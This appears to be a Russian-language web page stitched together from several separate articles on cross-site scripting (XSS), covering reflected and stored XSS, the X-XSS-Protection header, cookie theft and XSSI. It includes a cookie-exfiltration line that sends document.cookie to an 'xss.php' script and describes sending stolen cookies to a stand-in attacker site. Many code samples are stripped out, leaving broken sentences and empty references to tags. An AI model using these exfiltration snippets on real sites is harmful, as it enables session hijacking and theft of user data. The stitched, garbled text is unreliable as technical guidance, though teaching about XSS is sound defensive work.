XSS уязвимость — что это? Примеры XSS уязвимостей. XSS атаки: какими они бывают и чем опасны Что собой представляет уязвимость xss

тег

Этот тег может использоваться для включения в скрипт с внешнего сайта.

Уязвим ли ваш сайт для межсайтового скриптинга?

Уязвимости XSS являются одними из наиболее распространенных уязвимостей веб-приложений в интернете. К счастью, легко проверить, если ваш веб-сайт или веб-приложение уязвимы для XSS и других уязвимостей, просто обратившись ко мне. Я за небольшую плату с помощью специальных программ просканирую ваш ресурс, найду потенциальные уязвимости и подскажу, как их устранить.

Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием.

Использование заголовков безопасности является важным звеном в защите сайта и его посетителей от хакерских атак. В прошлой статье про из рубрики по защите и безопасности я обещал регулярно публиковать записи на эту тему. Сегодня я расскажу про защиту от XSS атаки.

Межсайтовый скриптинг (Cross Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный код (обычно HTML или JavaScript) в содержимое сайта. Вредоносный код выполняется в браузере пользователя, который просматривает зараженную страницу сайта.

Злоумышленники могут эксплуатировать различные уязвимости. Наибольшее распространение получили два типа атаки:

• Отражённая (Reflected XSS) — самый распространенный непостоянный тип атаки, требующий выполнения определённого действия со стороны пользователя.
• Хранимая (Persistent XSS) — постоянный тип атаки с внедрением вредоносного кода на сервер, не требует вмешательства пользователя.

Срабатывает при переходе пользователя по специально подготовленной ссылке, которая отправляет запрос на сайт с уязвимостью. Данная уязвимость обычно является результатом недостаточной фильтрации входящих запросов, что позволяет манипулировать функциями и активировать вредоносные скрипты.

Для успешного выполнения хранимой атаки злоумышленнику достаточно найти уязвимость на сайте и разместить на своём сервере вредоносный скрипт. Затем на сайте размещается тег , который загружает скрипт с с внешнего сайта, например, в комментариях. При загрузке заражённой страницы вредоносный скрипт каждый раз передаётся в браузер пользователя.

Заголовок X-XSS-Protection предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега в URL страницы.

Директива report для отправки отчётов действует аналогично директиве report-uri (или report-to) Content Security Policy (CSP), указывая браузеру пользователя сообщать о попытках нарушения политики безопасности контента. Об этом я расскажу в отдельной статье.

Отчёт о нарушениях формируется в формате JSON и отправляется POST-запросами по указанному адресу URL.

Возвращаясь к основной теме, рекомендую настроить сервер таким образом, чтобы HTTP заголовок включал фильтрацию и при XSS-атаке блокировал загрузку страницы с небезопасным содержимым. В файле дополнительной конфигурации.htaccess (или httpd.conf, если у вас есть полный доступ к серверу) веб-сервера Apache необходимо добавить следующую запись:

Для сервера Nginx дополните файл nginx.conf в разделе HTTP записью:

Add_header X-XSS-Protection "1; mode=block" ;

В том случае, если доступ к конфигурационным файлам сервера отсутствует, но есть поддержка PHP, тогда используйте функцию:

Cross Site Scripting, также известный как XSS, — это один из способов внедрения вредоносного кода, который исполняется на стороне клиента. Пользователь может заметить что-то неладное, например, необычное поведение страницы, иногда атака совершается абсолютно не заметно в фоновом режиме.

Надеюсь, теперь вы стали немного больше понимать в HTTP-заголовках сервера и X-XSS поможет предотвратить межсайтовый скриптинг. Я использую заголовки безопасности на всех своих сайтах и настоятельно рекомендую вам сделать тоже самое. Вместе мы можем сделать интернет более безопасным! 😉

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.

Ори Сигал (Ory Segal)

Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.

Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.

Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.

Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:

Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.

Ответ уязвимого сайта будет следующим:

Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.

Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.

Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.

Примечание.
Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.

Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.

• Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.

• Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.

Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:

• постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
• файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
• имена других окон, открытых для сайта www.vulnerable.site.
• любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).

Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.

Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):

Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.

Вот несколько вариаций этих возможностей.

• Вместо ... хакеры могут использовать конструкцию . Это подходит для сайтов, которые фильтруют HTML-тэг .

• Вместо ... можно использовать конструкцию . Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.

Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:

А итоговый код HTML будет следующим:

Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).

Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.

К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:

При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.

Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):

Var a = "12345";

Тогда на сайте атакующего мы можем получить значение переменной:

console.log(a);

Идея работы проста, как алюминиевый чайник.

По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.

Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).

Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.

Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).

Function test(){ return "private data frm function"; }

Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.

Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).

Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.

Читайте также:

Правильная доработка типовых конфигураций Обновить с приоритетом основной конфигурации

Полезные советы: как скрыть сообщения в смартфоне Можно ли скрыть переписку вконтакте не удаляя